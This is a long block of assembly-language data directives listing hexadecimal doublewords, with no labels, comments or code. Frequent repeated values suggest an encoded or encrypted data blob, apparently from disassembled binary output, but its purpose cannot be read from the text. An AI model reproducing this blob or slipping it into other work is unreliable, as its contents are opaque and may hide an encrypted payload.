		dd 0E99DEE5Eh, 1073F1CDh, 966925C8h, 15661127h,	156698DBh
		dd 5788D032h, 2915E445h, 8CACFE26h, 0EDB0E8E5h,	0F7E3C95Ah
		dd 0EC61D808h, 9E06C1CDh, 9C0770EBh, 1495F4B7h,	0BE62D3Ah
		dd 1A661132h, 156690BEh, 1575AD32h, 0DBE42232h,	0EBA19067h
		dd 0BF1BC027h, 0C9CF56Eh, 0CA9F1DC7h, 70E3D7EDh, 51617234h
		dd 156CC73Dh, 0A7062232h, 15E81EFBh, 74668832h,	66E8115Ah
		dd 1560CB89h, 0CFCF1132h, 156128AFh, 1DC3F1CDh,	1A0625C8h
		dd 0AF00CA85h, 7507F1E1h, 1563CD3Dh, 94002232h,	0A42C23DAh
		dd 90EBE92Dh, 129C7ED0h, 75B6DDCEh, 1A9E9A54h, 15668BB4h
		dd 0C6D94B32h, 35E3AB53h, 1A6E10C1h, 156680BBh,	17EF4B32h
		dd 75662232h, 70E3D753h
		dd 56617234h, 1569AC52h, 28312232h, 70EC4944h, 240086C9h
		dd 0F86546A1h, 1576CADCh, 0A38B1132h, 0E7924A85h, 0C33381E3h
		dd 691ECEA9h, 4A3F3080h, 156699DAh, 0FCCB9832h,	61F1825h
		dd 0FD2FA346h, 1BB20A4Eh, 0D2ED36DBh, 9D69436Ah, 15661121h
		dd 156686DBh, 0ECE80232h, 1123CA0Ah, 56CB8F5Ah,	7D13B1EDh
		dd 0A9E82ACEh, 0B0D3DDC7h, 0E961EB3Ah, 2F840DBFh, 0FC0643C8h
		dd 15662234h, 5BD8C685h, 0CFED93B8h, 0E0B6BB53h, 0E642A7BBh
		dd 759A1933h, 94006AB8h, 74EF97D5h, 1303A7F4h, 1A3516C8h
		dd 156685B9h, 156EAD32h, 84292232h, 4CB35E45h, 0BF0EE785h
		dd 75A0540Ch, 43F1D0B3h, 0A2692DABh, 0A099E9C5h, 129C4C97h
		dd 0F7E3AFCBh, 1A61EB08h, 156685BEh, 156EAD32h,	2CD12232h
		dd 5DC1A7EFh, 0C599A62Dh, 17E84B52h, 9E662232h,	1931A9C5h
		dd 9C07809Eh, 14956CB7h, 1575CB3Ah, 1D011132h, 0E57A0B96h
		dd 0C08EECBFh, 29E01CFEh, 704F048Bh, 80DB0BAAh,	1561BE3Dh
		dd 16BAA63Dh, 73061132h, 0E0F6FB3h, 15664DDBh, 0DFBAA132h
		dd 0A9CD055Ah, 0D307626Dh, 0EF6021B7h, 198F6435h, 49661132h
		dd 0EBF6E5EEh, 0EFD2279Ah, 7D5B153Ch, 0EFF0DF03h, 0B0D377CAh
		dd 0ED61BE3Ah, 2F84A7BFh, 1A8F16C8h, 3668832h, 4AE810F6h
		dd 3EF52AFEh, 0FF3CBC8Dh, 0C599BEF8h, 16E64B52h, 73662232h
		dd 9E00E1B9h, 90EFE9C8h, 1D67B7B6h, 70E3E4CAh, 5361EB34h
		dd 156687DBh, 27880032h, 0DAA7178Fh, 25FB3B9Fh,	814D9D9h
		dd 0B25C925Ah, 156BCBCEh, 19401132h, 0EF2A93DEh, 6C28FB44h
		dd 0EA7D857Dh, 0EF6EB487h, 19E98735h, 1A664432h, 156624B3h
		dd 15EA1E32h, 98668832h, 0EF5CA6B7h, 0C599DE35h, 81E398CBh
		dd 1A6E89C1h, 156645B4h, 90A0DE32h, 129C1757h, 2E28774h
		dd 0FC664432h, 15662220h, 48C34CCBh, 772C9C8Bh,	843C7E1Ch
		dd 6653F5E6h, 150E8567h, 0EDF47496h, 1DC3F1CDh,	430625C8h
		dd 0A6DAD0B3h, 743FA316h, 2F84C1BFh, 68F25C8h, 0F2661132h
		dd 57E064BBh, 0B576FC2Dh, 301AE3C2h, 0F3934726h, 0C5998D2Eh
		dd 156655DBh, 0B2DD9132h, 0C010445h, 82D61F6Ah,	0AAB5E0EAh
		dd 1E8F51F7h, 0F3661132h, 67BC742Dh, 3EFA5AAh, 90EF539Bh
		dd 1D67E2AAh, 1572033Dh, 1A8F4432h, 0DB662232h,	0C825DADFh
		dd 0F382CCFAh, 8964865Fh, 90A0C082h, 129C1757h,	156D6174h
		dd 0A5C04432h, 6A1342BEh, 727EABACh, 5A0CE090h,	0EA9EB2E6h
		dd 0EF6E8787h, 9A697135h, 15668830h, 0D4ED97B8h, 0F7E3AF53h
		dd 0FC61EB08h, 1566883Eh, 15926C59h, 0D3D4E9C4h, 25996172h
		dd 15460A3Dh, 0FC064432h, 15662226h, 0E27B233Ch, 9075308Ah
		dd 0D5A9FA54h, 9E009A87h, 7FC992D7h, 371EFF8Ah,	0C5992559h
		dd 156632DBh, 5EC56F32h, 1627E8AAh, 6FDFCF88h, 0A2BA1C50h
		dd 89E3982Ah, 0FC6E89C1h, 1566443Ah, 2365FFC6h,	0F952D71Ch
		dd 13030DF4h, 752043C8h, 15EA2D64h, 4B661132h, 15669BDBh
		dd 159C0A32h, 889DE08Eh, 478BCEA5h, 8C0E6DFCh, 48821597h
		dd 45814A53h, 940685FFh, 4064B6D4h, 749ECF28h, 1DC397CDh
		dd 0E90616C8h, 0F7E30553h, 7561BE08h, 717ECBB3h, 0AA693F38h
		dd 0C599E9E8h, 156656DBh, 0EAD4B832h, 0FBC17DF0h, 8B556701h
		dd 8C82A34h, 9C1DE669h,	149599B7h, 1A8FE83Ah, 0D7664432h
		dd 77017A7Bh, 80A1EFDBh, 79E629CAh, 9469FE6Fh, 15662232h
		dd 1574F853h, 0F91F8832h, 3D0A1964h, 0F840C94Dh, 5EDCD2C1h
		dd 899894E3h, 1303C1F4h, 1A2025C8h, 156607B3h, 15776132h
		dd 4EC4432h, 78355BC8h,	0ECCAD2BFh, 0E3BEA10Ch,	7DC8DDA1h
		dd 0A4445609h, 99694152h, 15668832h, 1572AD68h,	1B0C2232h
		dd 2F037215h, 0C3D4B39Dh, 51304168h, 0C4E208E8h, 0EA070455h
		dd 0EF6E2D87h, 156EAD35h, 0F0252232h, 6BCA43B9h, 989A0AECh
		dd 0EF5CA6B7h, 5E52D35h, 0FC661132h, 15668839h,	16EDD0B4h
		dd 0A2A53C36h, 0E033119Bh, 1A0658CDh, 156642B7h, 15EB2D32h
		dd 95661132h, 0FC0745F3h, 15664421h, 4A2BFB9Bh,	80C3B4C7h
		dd 944CD16Ch, 0A983DEFCh, 9C38D343h, 14959DB7h,	0DED7E83Ah
		dd 90A025CEh, 129C2457h, 14E31E74h, 0E0668832h,	6C8CA95Ah
		dd 156ECBEDh, 0EF41132h, 2936FB88h, 0A099C9F1h,	129C2A97h
		dd 157F943Dh, 97698832h, 15664421h, 15662CDBh, 27675932h
		dd 2A989974h, 0E35E437Ah, 9818D501h, 0EF5CF3B7h, 48EE835h
		dd 30664432h, 0A9611E46h, 317373A9h, 27DD883Dh,	0F276F11Ah
		dd 74387A65h, 20D77152h, 17E28753h, 46664432h, 0C5994369h
		dd 1567963Dh, 9C938832h, 1495D4B7h, 0A8E5D73Ah,	129C302Bh
		dd 99E38732h, 0FC664432h, 1566223Dh, 0D2E613CCh, 0D0198AC5h
		dd 75AD4801h, 0D380E888h, 0EF6074B7h, 7D93DB35h, 0DBD8A46Ch
		dd 156FCA52h, 4D951132h, 2D9D7753h, 730801B8h, 0E235E1B3h
		dd 98AB9169h, 0B0D37753h, 0FC61BE3Ah, 15662223h, 5C1C075Ah
		dd 27276912h, 0D5C7FCB4h, 0D55B33E5h, 90EBE961h, 129CB2D0h
		dd 1AB6BBC7h, 15662EB6h, 1561F832h, 49708832h, 0F63524Fh
		dd 39E3AB09h, 0FC6E10C1h, 1566883Dh, 877A81BCh,	55F807FCh
		dd 0E6BFC6EAh, 0D3131EBDh, 0EF6021B7h, 7D9F6535h, 0D2D74FB5h
		dd 1567023Dh, 0EA9E4432h, 0EF6E8787h, 0CEE77135h, 26481533h
		dd 9807AC81h, 0EF5CC0B7h, 0DAED7135h, 61E9368Ah, 0C5992526h
		dd 15662FDBh, 0FFD0532h, 3162B9C3h, 0F14B872Eh,	90EF141Bh
		dd 1D67E202h, 0CDB0BCBh, 1561BE13h, 151EA73Dh, 9E691132h
		dd 15668822h, 15664FDBh, 0CC85CF32h, 0E5199645h, 0DCAB80E4h
		dd 1303C1F4h, 752125C8h, 0CEE77761h, 1A3DC638h,	7D07BF85h
		dd 0F3045C37h, 0B0D3EECEh, 7561723Ah, 95695187h, 15662230h
		dd 98074962h, 0EF5C6AB7h, 0C599B835h, 156628DBh, 0BC493E32h
		dd 0A039855Ah, 9C656A8Fh, 149516B7h, 1575F83Ah,	53F18832h
		dd 4BF2EF5Eh, 0D2C25E38h, 8A1A8219h, 3B3BF031h,	90A0B8D1h
		dd 129C2457h, 1E8E7171h, 0B1668832h, 7E1C6CF3h,	55FF23Fh
		dd 0AA69DAC9h, 0E4ECD1F8h, 1C902C53h, 68FB048h,	0D661132h
		dd 8519EFB9h, 7E134002h, 1479C3E4h, 0DDDF486Dh,	0A099C5B2h
		dd 129C4C97h, 156DA93Dh, 138F1132h, 45668832h, 1C17C0F8h
		dd 0F7E3AF06h, 0FC61EB08h, 1566883Bh, 48783289h, 38E22496h
		dd 0FCB6EEBDh, 15668822h, 841E8319h, 79054258h,	71B36184h
		dd 3DA99E95h, 0E65EC1BBh, 0D3932A33h, 0EF6074B7h, 759ACB35h
		dd 0EFD822C7h, 350E43C1h, 0FC9A30A5h, 15668839h, 0BFB5E58Fh
		dd 98DCD760h, 0FC1568E8h, 1566883Eh, 0C8593DECh, 5BD78A5Eh
		dd 0CAD86729h, 1DC33DCDh, 9C6943C8h, 15662239h,	156617DBh
		dd 0FC6CA532h, 0FCCA5BA4h, 1566223Bh, 77B29794h, 8C958BFAh
		dd 0F7E3C97Ch, 7561D808h, 3FBF9054h, 17E28735h,	42664432h
		dd 0C5994369h, 29E398C7h, 756E89C1h, 74B6CF54h,	73949252h
		dd 0DCEDC6B3h, 0CDB0B53h, 1561BE13h, 1426A73Dh,	0D3931132h
		dd 0EF60EDB7h, 93690735h, 15662226h, 1568983Dh,	1C8F8832h
		dd 0C0664432h, 6B8AE332h, 0CD44C42Ch, 15CE8B5Ah, 1D8F24B9h
		dd 30662232h, 0C5057563h, 0AC1B620Dh, 72DC451Ah, 156ACB53h
		dd 34E51132h, 42E1D77Dh, 203F7732h, 0A09993F7h,	129C1997h
		dd 156686DBh, 4A561532h, 7DDAA48Ch, 0A57D9134h,	1A730B59h
		dd 15664FBAh, 0AA694232h, 2B990CDh, 740B1D4Eh, 2F84C1BFh
		dd 9D6925C8h, 15661123h
		dd 156684DBh, 0C68C5932h, 0C3449197h, 191E8D78h, 0FCB6772Ch
		dd 15664421h, 0F484A4BEh, 9AC386C1h, 0DA41D29Ah, 578FBA01h
		dd 9CC3146Ah, 149555B7h, 90A0743Ah, 129C4257h, 4EA2D71h
		dd 75661132h, 156680DBh, 779DBD32h, 8D794087h, 74077136h
		dd 4E505D5Ah, 0FC3124D7h, 1566223Bh, 71BC374Ch,	833FBA40h
		dd 0E2ED1D7Dh, 0B0D3DD53h, 0FC61EB3Ah, 15668820h, 0CC03649Fh
		dd 1D03FBA3h, 0DB8D5600h, 9782FEEh, 90EBBFEFh, 129C18D0h
		dd 1560F852h, 71108832h, 627147Ch, 68F43CAh, 35661132h
		dd 80791D1Eh, 0ACA2C532h, 79F99D7Fh, 5A0A3B40h,	0C5990EC2h
		dd 55E3CDCAh, 756E23C1h, 90A070CBh, 129C8E57h, 1569AD71h
		dd 4F422232h, 2A3AA9E9h, 0A85CEBB4h, 3730BF7Fh,	27874A69h
		dd 0EA93FB98h, 0EF6E2D87h, 0AA692435h, 0DEDE44FDh, 90EB70BEh
		dd 129CB2D0h, 0BDD92252h, 0C59943CCh, 12E31ECBh, 1A668832h
		dd 156645B7h, 90EFDA32h, 1D67E27Ah, 70E34EC7h, 5661BE34h
		dd 0B9514AC7h, 956995C3h, 15668825h, 156656DBh,	0DBF33732h
		dd 80E8FB14h, 3425A7DBh, 0B0FB0BDh, 1A086F9Ch, 156619B6h
		dd 17E38732h, 75664432h, 0B0D3DD53h, 0EC61EB3Ah, 0F7E305CAh
		dd 7561BE08h, 34309889h, 1563F94Eh, 25F08832h, 7561ACD8h
		dd 0EA077B53h, 90EFE4E2h, 1D677B7Eh, 70E382CBh,	5A61D834h
		dd 156602DBh, 43DC5C32h, 0DBCD3A71h, 776CBEAEh,	5D7435Ch
		dd 6656FD91h, 20F6905Ah, 0CEDF42A5h, 0FC143624h, 15668837h
		dd 73FD441Dh, 0A0994356h, 129C1997h, 0F7E305CBh, 7561BE08h
		dd 1562A63Dh, 0AB001132h, 0FBDEC477h, 744F2BE7h, 1D8FF2CDh
		dd 14661132h, 53714D19h, 9C0531DEh, 149572B7h, 90A0E43Ah
		dd 129C8E57h, 8E34B7Dh,	75662232h, 156602DBh, 0F7C45632h
		dd 0A849C757h, 85B64CA2h, 2DFBB389h, 6866497Eh,	74ADFB3Dh
		dd 7B68205Ah, 0CCED71CBh, 0DA860954h, 0A0992509h, 129C2A97h
		dd 1576F952h, 31748832h, 47ECFB60h, 3BB507A7h, 0F635168Bh
		dd 1A38B615h, 98078E8Dh, 0EF5CC0B7h, 0C599E835h, 41E301CAh
		dd 756E45C1h, 1A8EEB81h, 94661132h, 0B82E6DDCh,	0A3A54BCFh
		dd 9B55FD0Fh, 68FC18Eh,	15668832h, 16FA2762h, 0F0058555h
		dd 6024A5D9h, 5EDD1F6Bh, 743E86C2h, 1303A7F4h, 0FC2B16C8h
		dd 15668821h, 0E715B8B4h, 0DBBDA2F4h, 4E25D8FEh, 27B9BE80h
		dd 7D424276h, 0DD515B7Bh, 0B0D3EECEh, 0FC61723Ah, 15664422h
		dd 0E8940ABBh, 915D18DCh, 12BE98F2h, 0A1B0803Ah, 2F84A7BFh
		dd 9A6916C8h, 15668833h, 1AB6BBCAh, 156623B3h, 90EFE432h
		dd 1D677B6Eh, 1576C83Dh, 0FC062232h, 15661135h,	6F7B8F21h
		dd 436CF33Ch, 7306436Bh, 0FE80D2B3h, 15669CDBh,	0F99FE32h
		dd 0E6C9807Fh, 0D1BD17B7h, 371787C9h, 101AE52Eh, 90A0432Ah
		dd 129C1757h, 1A31E87Fh, 156644B3h, 1F8E7C32h, 8C661132h
		dd 0BBB2EA1Ah, 0C62C03D9h, 4FB3A8B7h, 58EF7953h, 9A6954C5h
		dd 15664425h, 156630DBh, 0E8FFC132h, 0B76C54F1h, 32335824h
		dd 0F3F57702h, 0EA02B6E0h, 0EF6E2D87h, 1EE54B35h, 0FC662232h
		dd 15661134h, 0CB267CDAh, 90EB7F1Eh, 129C18D0h,	15661EDBh
		dd 9FC33032h, 9AE21C12h, 5B8015A3h, 0C51C8670h,	996958CDh
		dd 15664433h, 4DE3ABCBh, 0EC6E10C1h, 13030DF4h,	1A3343C8h
		dd 15662EBAh, 13E91E32h, 1A668832h, 156644B5h, 38514A32h
		dd 92698D29h, 1566882Bh, 156650DBh, 0E5DE432h, 0DEC5EF9Fh
		dd 6DE97DDBh, 2D36EBBBh, 9F7A3F3Bh, 0B0D3EE03h,	1A61723Ah
		dd 156656B3h, 19EA2D32h, 0FC661132h, 15668835h,	7DD03095h
		dd 98157542h, 0EF5CF3B7h, 18E58735h, 0FC664432h, 1566223Ah
		dd 0A484A7ACh, 9AB754B2h, 730694CDh, 0D672F2B3h, 1EFDAE54h
		dd 90EF7453h, 1D67B752h, 1571AE3Dh, 78F1132h, 30668832h
		dd 0FA28869h, 33F9056h,	41E564Bh, 578C8A8Ah, 70E382A9h
		dd 5661D834h, 15679E3Dh, 0FC938832h, 15664420h,	33192FBAh
		dd 209F04FBh, 6E25457h,	9D0450E3h, 3F0E97DAh, 75B4C4C2h
		dd 15669BDBh, 2A12432h,	0AC01576Ah, 1B4E046Ch, 730806C7h
		dd 0CBBF0CA3h, 1DED2D53h, 1A661132h, 15668AB5h,	0EA072432h
		dd 0EF6E8787h, 6EB1E35h, 75668832h, 15664EDBh, 42187532h
		dd 0B02D5FD3h, 46347809h, 90EB256Ch, 129C18D0h,	1576923Dh
		dd 75068832h, 1560AC53h, 7EB32232h, 8AB45F44h, 0EA9AE969h
		dd 12E24BE2h, 1A662232h, 156610B2h, 90EF7D32h, 1D67B756h
		dd 156631DBh, 19C332h, 0B2A953EDh, 0E3B4EBA9h, 959FA4C7h
		dd 0CFE2B66h, 13030DF4h, 0E03443C8h, 57D2C85Ah,	0A099E8CFh
		dd 129C8097h, 0F7E3C9CEh, 0FC61D808h, 1566113Ah, 7A6059C7h
		dd 82FE6C4Dh, 9C9EF2CDh, 0EF7E7CB7h, 0CCE6E835h, 1AE84B14h
		dd 0FD662232h, 1566113Bh, 1AE39A40h, 6CCF2A69h,	0D30779D2h
		dd 0EF6074B7h, 7D9ECF35h, 0F7FE1DABh, 1562A83Dh, 0A0061132h
		dd 1F8FE9EDh, 4B664432h, 0C40C9A1Bh, 11350B1Fh,	0B0D3775Ch
		dd 0FC61BE3Ah, 15662234h, 2875810Ah, 90EB9268h,	129C7ED0h
		dd 75B6DDCBh, 0A269E1B9h, 90EFE9FDh, 1D67B75Ah,	156EA53Dh
		dd 93691132h, 15668830h, 90A02552h, 129C2457h, 138F7175h
		dd 46668832h, 0C6E43137h, 0E7ED44AFh, 75A47953h, 0FC0639CFh
		dd 15664437h, 0AAC95C6Dh, 1569F933h, 3FC68832h,	83EAB80h
		dd 398A8DE7h, 2D7671F3h, 1560617Bh, 94834432h, 30092EC5h
		dd 0A099706Ch, 129C8097h, 15664DDBh, 60A4C32h, 8C813FABh
		dd 90EB64B8h, 129C7ED0h, 156624DBh, 87E65632h, 0EAD68418h
		dd 2E34BE2h, 0FC662232h, 15661120h, 722A9E20h, 299B4C54h
		dd 0CF469ECCh, 0D4AB616Ch, 90EFEF85h, 1D67B75Eh, 1567A43Dh
		dd 1A931132h, 156680B6h, 17EB4B32h, 75662232h, 70E3D753h
		dd 52617234h, 0EB722CCEh, 9469FD94h, 15661133h,	0B0D377CEh
		dd 0FC61BE3Ah, 15662226h, 0DCD1F2D1h, 7C8CFBC6h, 0F77AB1D6h
		dd 0E481347Dh, 6C87F946h, 2F840DBFh, 108F43C8h,	42662232h
		dd 9BE4AFF1h, 15756152h, 7E1D4432h, 5BC8239Eh, 8132EB08h
		dd 1BBED903h, 94199A17h, 156DCBFBh, 654F1132h, 0B88C879Ch
		dd 5224DA25h, 0C5994349h, 74064152h, 17E8876Ch,	75664432h
		dd 1A8F4353h, 20661132h, 5F433AEAh, 0F9A43B3Bh,	0D2ADA343h
		dd 90EF946Ah, 1D677B42h, 156650DBh, 0B6ABC832h,	163EA4D2h
		dd 391802F1h, 2F619EE9h, 0FBBDC27Bh, 70E3D7EDh,	4A617234h
		dd 15664CDBh, 61903132h, 4B3A98C5h, 0E70EE070h,	58FDA62h
		dd 0B6662232h, 61378414h, 7DE1D2BAh, 0AA68B619h, 75BE87A4h
		dd 8ABFC3B3h, 74938720h, 1DC3F1CDh, 940625C8h, 0BA29FCE3h
		dd 74943E2Ch, 2F84C1BFh, 1A0625C8h, 156613BAh, 1A07E832h
		dd 156647B0h, 0EAD92D32h, 11EC1E53h, 75668832h,	0EA07B3B9h
		dd 9E06DAE2h, 90EF70CCh, 1D677B46h, 0FCD4F652h,	15662223h
		dd 2EE0D62Bh, 14B273E9h, 53BA5B34h, 0BCE85499h,	90A070EBh
		dd 129C8E57h, 1CE04B7Dh, 75662232h, 15E91EC7h, 74668832h
		dd 0E91D7B5Ah, 6D642F5h, 0C4A6018Dh, 0A099E94Ch, 129C4C97h
		dd 0E007DA52h, 2F8494BFh, 94068FC8h, 4B5B83C2h,	17E72D12h
		dd 9E661132h, 0C599E9F8h, 15664BDBh, 1BD10032h,	69AB7D8h
		dd 2909C5DBh, 573A29C2h, 15662EDBh, 30F66B32h, 8273AFD2h
		dd 24307CD5h, 0B5E3ABD1h, 756E10C1h, 15E98752h,	1A664432h
		dd 156622B5h, 0D7E77032h
		dd 43F5DFA9h, 70E38253h, 5261D834h, 1A7CA252h, 15668EBCh
		dd 15E14B32h, 74662232h, 7B2A79CAh, 0EA937269h,	0EF6EE187h
		dd 1561CB35h, 0C8AA1132h, 5D812F99h, 0F7E3C9EDh, 0FC61D808h
		dd 15661121h, 0D7AB2B9Ah, 4A89CB10h, 99E8E155h,	5482D4D4h
		dd 0EAF4116Dh, 996924E2h, 15662237h, 7FBE9989h,	0FC890871h
		dd 0B1E3CD53h, 1A6E23C1h, 15661BB9h, 9269E832h,	15664432h
		dd 0D3077960h, 0EF6074B7h, 0FC9ACF35h, 1566443Dh, 0E79B0C7Dh
		dd 61360A52h, 0B43B158Bh, 7DAC93C1h, 0D66006FFh, 0A099E9CAh
		dd 129C8097h, 1568CC3Dh, 1C8F2232h, 6B661132h, 67025214h
		dd 5AF01D00h, 2F84A7BFh, 1D8F16C8h, 9E668832h, 446CA192h
		dd 0EA9AD9B1h, 78E71E2h, 32668832h, 91AE69Ah, 0D017C89h
		dd 31B434B8h, 0C1D55F20h, 15EA4B4Bh, 4E662232h,	742DFDB2h
		dd 0E6CE0DBBh, 97694C33h, 15662222h, 15661ADBh,	4CA79F32h
		dd 98249849h, 7C9C8340h, 130394F4h, 0FC398FC8h,	15664434h
		dd 3E01550Bh, 0D90E6241h, 1AB23352h, 156645BBh,	0A099DB32h
		dd 129C1997h, 0F7E305CBh, 1A61BE08h, 156628B6h,	74067132h
		dd 1566063Dh, 0EA074432h, 1560CBE2h, 0A1101132h, 0FED8E2DDh
		dd 0E61EC1BBh, 198F2A33h, 0E5661132h, 0CB414BBCh, 0B155B9FBh
		dd 0D3CAC83Eh, 0EF6074B7h, 9569D735h, 15664433h, 41284ACAh
		dd 92698FDBh, 15668820h, 237CFE52h, 108E00B0h, 34661132h
		dd 0B4EB037Ch, 9D692569h, 15662226h, 2ADF7752h,	156F6134h
		dd 8FBC4432h, 0A353227Bh, 74D159FDh, 1DC33DCDh,	989F43C8h
		dd 0EF5CC0B7h, 14EB1E35h, 0E9668832h, 0F3B6FE52h, 0EA073090h
		dd 0A26971E2h, 3A8809C8h, 7454969Ch, 0E61AA7BBh, 9B691933h
		dd 15668833h, 70E382CAh, 4A61D834h, 3D2E79CAh, 188F5921h
		dd 40664432h, 18A61529h, 6F391D75h, 255103FAh, 156ECC3Dh
		dd 90692232h, 15661130h, 0A099E952h, 129C4C97h,	0F7E3AFC7h
		dd 1A61EB08h, 156689B9h, 0C599B832h, 0C2E74452h, 68E94A8h
		dd 0DA668832h, 0E4737522h, 123BB108h, 0D62BE445h, 0EC268DEh
		dd 9769CD76h, 15662232h, 90EF706Ah, 1D677BB2h, 10E14B52h
		dd 0AD662232h, 2727C2AEh, 1A62E253h, 156645B2h,	188FD732h
		dd 0D3661132h, 0E2C48D9Ch, 8C3CF6C5h, 9B52FA75h, 1576115Ah
		dd 7D937432h, 15665432h, 74B1A852h, 95691158h, 15668825h
		dd 156656DBh, 0D3474A32h, 861DC7C7h, 0DB65FDBEh, 32DF4A16h
		dd 0EAC86296h, 0EF6D94A7h, 15696135h, 1014432h,	7B458B9Ah
		dd 0E3F00F93h, 13FB70A3h, 90E3CD91h, 0ED61D825h, 156618DBh
		dd 7B5EC732h, 4A146FDAh, 90EB98B2h, 1D674CE7h, 15668FDBh
		dd 0C77E5B32h, 0ACC5D6CBh, 75B6EECBh, 7F070785h, 12E54B36h
		dd 1A662232h, 156610B4h, 150E7132h, 0ED664422h,	1546225Ah
		dd 0DEC1E32h, 75668832h, 15664FDBh, 2FEBB832h, 8CEDCB35h
		dd 35D1FC04h, 1566C43Dh, 7F072232h, 1560F832h, 5878832h
		dd 25018241h, 1EE3B7CDh, 9C9F16C8h, 0EF6161B7h,	156DAD35h
		dd 1A5B2232h, 0D5F17931h, 44F05B1Fh, 1577AD45h,	9CCB2232h
		dd 0CE485478h, 583A8E1Eh, 6F5E8F76h, 9C96E029h,	0EF6410B7h
		dd 73067435h, 24768CB3h, 2F345D8Bh, 550C7008h, 156681DBh
		dd 0A2E4F532h, 57C86F5Ch, 150EBF85h, 1A668822h,	15664BB8h
		dd 156CCB32h, 3D501132h, 0F09F6DABh, 8D50A2Bh, 1466225Ah
		dd 1563F832h, 59058832h, 7F8FC0B0h, 4E62D32h, 1A661132h
		dd 156683BFh, 1560AD32h, 44EE2232h, 8CB72FC3h, 1EE31DCDh
		dd 108F43C8h, 43662232h, 0DB827DEBh, 0B7B0DBBh,	128F43C8h
		dd 7A662232h, 0C8D3EEE9h, 0A0EDE1E8h, 129C621Fh, 1567AB3Dh
		dd 0E99F1132h, 3E315B9h, 9E6943C8h, 15662233h, 0ECD398CAh
		dd 1A617211h, 156645B7h, 88EFDB32h, 129C171Bh, 157F093Dh
		dd 18F4432h, 0BD662232h, 787FD388h, 0A08074D9h,	0AF286ABCh
		dd 6336AF1Ah, 9EBF5BE7h, 0EF700DAFh, 0AD36B835h, 15662232h
		dd 6A29FF37h, 38BE892Bh, 0C190BDCh, 1A3E2AB9h, 156606BCh
		dd 15746132h, 7C6C4432h, 0FD5543F6h, 9992D584h,	0DF466D6h
		dd 37F1BEFDh, 159FA1CEh, 2CBC953Dh, 75068832h, 3E82E78Ah
		dd 80709C31h, 0AF076E65h, 628EC68h, 0F3EF1253h,	1562E4B3h
		dd 0FBE71132h, 15668836h, 494270B5h, 0E04226BBh, 10869862h
		dd 15668836h, 1566401Fh, 3162A532h, 316A986Eh, 0E5D98752h
		dd 15664ADAh, 0DE372032h, 97B5C845h, 494864A3h,	75A86CE7h
		dd 75077D53h, 1561963Dh, 93698832h, 15664433h, 0ECA613CEh
		dd 2B94BBh, 9C698FC8h, 1566443Fh, 15662ADBh, 0D9117932h
		dd 92688212h, 118AC72Eh, 7D420EBBh, 1C0575A8h, 0F6AB096Fh
		dd 9405FD7Fh, 0EE0B9DDFh, 48889859h, 13E08752h,	1A664432h
		dd 156622B5h, 0D7ED7732h, 15766153h, 0DD7A4432h, 6A671D3Fh
		dd 46B03B8h, 15D1DC49h,	0FBE78E61h, 759479D9h, 35426531h
		dd 4E8D3765h, 0EB6724C0h, 14E02D6Dh, 0ED661132h, 1A062554h
		dd 15664BBFh, 156CCB32h, 66561132h, 0E9C3BAD4h,	1D5B4D2Ah
		dd 7490953Dh, 4776B337h, 616D8D7Ch, 51653E48h, 1E4B0216h
		dd 381C6B46h, 5B349890h, 15664ADBh, 88C02F32h, 0ECAE49A6h
		dd 4D111C10h, 0EAF078E7h, 21ED5A42h, 11A29216h,	92D9DFCEh
		dd 3C06CD0Dh, 61657DCCh, 0D3E73116h, 75EFB7B5h,	15664BDBh
		dd 8EE87A32h, 7270DED6h, 0ED9155F2h, 0A6298121h, 9E7E54CDh
		dd 0D1E7350Eh, 15668836h, 4195C552h, 1A40EEEEh,	156613B1h
		dd 7407E832h, 397FF9BBh, 1C8F25C8h, 0F9661132h,	0A9913991h
		dd 7CE51B59h, 0EAE34352h, 154D943Dh, 198F8832h,	0E6664432h
		dd 4807A49Fh, 763FC8AFh, 0FD4226C5h, 15662567h,	1053CBC7h
		dd 98691132h, 15668833h, 17E94BCBh, 75662232h, 0F0EF4453h
		dd 15624DB3h, 0F8E54432h, 314AA536h, 316A986Eh,	124E0CBh
		dd 29EF4432h, 1A067816h, 156612B0h, 0EFD18732h,	11B42F53h
		dd 156631DBh, 0A123C932h, 0C164C206h, 49FC9BBCh, 80682AB3h
		dd 5CDA0C5Bh, 156A023Dh, 90694432h, 15662234h, 15669B3Dh
		dd 80EF8832h, 129C6DD3h, 1561A33Dh, 97691132h, 15668833h
		dd 75622ECAh, 1AA5A954h, 7D07C785h, 15669832h, 156FC93Dh
		dd 0EC062232h, 97F1C6B3h, 0FC07FA50h, 15664439h, 95B28E82h
		dd 19EEF7EBh, 7D5F6FBCh, 15666828h, 754236BBh, 0AD004F63h
		dd 1A0713EAh, 156657B1h, 1568CB32h, 0CE761132h,	1BA449CCh
		dd 5754FDh, 48F518C3h, 0EA9F1158h, 0EF6D0DA7h, 19E44B35h
		dd 0FC662232h, 15661135h, 6DB9F461h, 9C42B6CBh,	0EF738FB7h
		dd 156CF835h, 5BE88832h, 8BF58968h, 661495D4h, 45A59861h
		dd 0D7EF50BBh, 95691F6Ah, 1566223Bh, 0AD077152h, 5A6D30D3h
		dd 3152BB53h, 11A2A16Bh, 754DF9CEh, 73068832h, 0E502A6B3h
		dd 80B0A252h, 7407C0B9h, 94870163h, 156640F3h, 118FA332h
		dd 92661132h, 9C3AAC3Eh, 44066006h, 1566A33Dh, 943E1132h
		dd 0E10F8D2h, 0ECCB2543h, 2B700437h, 4E8C1461h,	5165B3FAh
		dd 0FF4B6016h, 385DEA69h, 46580714h, 156682DBh,	0CB96B332h
		dd 41D2076Eh, 2464A74Ch, 24A1B9CAh, 18E14BCAh, 0FC662232h
		dd 1566113Ah, 550F662Fh, 7D1160CFh, 314AA365h, 6782076Fh
		dd 94DBDD69h, 9415877Ah, 35ABFEF7h, 488D10CDh, 156687DBh
		dd 1371C132h, 72DBE6F7h, 945DE5C3h, 1974AB5Fh, 9480CD64h
		dd 156626F4h, 11889032h
		dd 92668832h, 9C3A6006h, 128F060Eh, 1A661132h, 0EA471B6Ch
		dd 94695789h, 1566222Dh, 157F923Dh, 18F8832h, 89664432h
		dd 162B975Dh, 6D50E414h, 0F4CD0A4h, 81C45438h, 25268BC5h
		dd 4E31EF2h, 1A668832h,	15664FB6h, 1560CB32h, 14731132h
		dd 0F0C8EE47h, 0FC9B319Ch, 15662238h, 0F5648F65h, 874D4028h
		dd 1A066321h, 0A269E58Dh, 219970E8h, 0D1E7D616h, 15664436h
		dd 1569AD3Dh, 1F8F1132h, 0F4668832h, 1E6FDADEh,	81F22B23h
		dd 0EB8990C3h, 3C369950h, 0EBDB11EDh, 14363350h, 94694CDDh
